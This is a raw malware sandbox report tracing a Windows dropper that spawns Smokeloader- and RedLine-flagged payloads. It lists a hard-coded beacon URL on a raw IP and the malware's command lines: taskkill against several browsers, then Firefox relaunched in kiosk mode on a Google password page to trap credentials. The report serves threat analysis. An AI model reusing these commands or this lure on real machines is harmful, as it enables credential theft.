Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00998DBB	12_2_00998DBB
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_008259AA	12_2_008259AA
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0082F7B6	12_2_0082F7B6
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0097DBA1	12_2_0097DBA1
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00987DC6	12_2_00987DC6
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00986D16	12_2_00986D16
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00995730	12_2_00995730
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0099732B	12_2_0099732B
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_00984753	12_2_00984753
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_0098CF44	12_2_0098CF44
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B451B7	12_2_04B451B7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B4EDEE	12_2_04B4EDEE
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B43F87	12_2_04B43F87
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B4B8F7	12_2_04B4B8F7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B451B7	12_2_04B451B7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B4F130	12_2_04B4F130
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B55955	12_2_04B55955
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: 12_2_04B50B67	12_2_04B50B67

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe 8A331CA76C2B919F30406FF66A92DB0E27AE6AF9725749A80959B42656871536

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BEDF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BED942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BED663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BED64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BE7A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00C08E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00BE80C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: String function: 04B4A9C7 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: String function: 04D09B60 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: String function: 0040A760 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Code function: String function: 10003160 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00F580C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: String function: 00414A30 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: String function: 0023B97D appears 40 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: String function: 0022D9E0 appears 102 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: String function: 00408000 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: String function: 00236C0B appears 42 times

Source: random[1].exe0.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: f30149f036.exe.6.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0000000C.00000002.3486058612.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000C.00000002.3478917233.0000000000F4D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: d0d9725343.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: d0d9725343.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe1.6.dr	Static PE information: Section: ZLIB complexity 0.9974927011245674
Source: random[1].exe1.6.dr	Static PE information: Section: hkjfghfg ZLIB complexity 0.9947554758308157
Source: 176986cc9c.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974927011245674
Source: 176986cc9c.exe.6.dr	Static PE information: Section: hkjfghfg ZLIB complexity 0.9947554758308157
Source: random[1].exe2.6.dr	Static PE information: Section: jkfvjajp ZLIB complexity 0.9949263982704869
Source: f570600774.exe.6.dr	Static PE information: Section: jkfvjajp ZLIB complexity 0.9949263982704869

Source: random[1].exe1.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 176986cc9c.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@55/31@28/14

Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe

Code function: 12_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

12_2_00402A20

Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe

Code function: 12_2_00F4DBC6 CreateToolhelp32Snapshot,Module32First,

12_2_00F4DBC6

Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Code function: 11_2_00436F90 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

11_2_00436F90

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1912:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5536:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4072:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Command line argument: emp		12_2_00408770
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Command line argument: mixtwo		12_2_00408770

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: d0d9725343.exe, 0000000B.00000003.2928546086.00000000037C8000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2928725926.0000000003875000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2904293300.00000000037C8000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106760006.00000000057BB000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106393177.00000000057DA000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3139507752.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3246129095.00000000053EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3245145114.0000000005408000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3276845733.0000000005409000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 55%

Source: f30149f036.exe	String found in binary or memory: /add?substr=
Source: f30149f036.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: f30149f036.exe	String found in binary or memory: 80.82.65.70/add?substr=mixtwo&s=three&sub=emp

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe "C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe"
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2352 -parentBuildID 20230927232528 -prefsHandle 2288 -prefMapHandle 2284 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {745b1038-6b91-4698-a3f0-64664cce277e} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 2149b56f910 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe "C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4360 -parentBuildID 20230927232528 -prefsHandle 4316 -prefMapHandle 4328 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5763664d-1f38-4c19-9998-65a89666960a} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 214adcdc110 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe"
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe "C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe "C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2352 -parentBuildID 20230927232528 -prefsHandle 2288 -prefMapHandle 2284 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {745b1038-6b91-4698-a3f0-64664cce277e} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 2149b56f910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4360 -parentBuildID 20230927232528 -prefsHandle 4316 -prefMapHandle 4328 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5763664d-1f38-4c19-9998-65a89666960a} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 214adcdc110 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
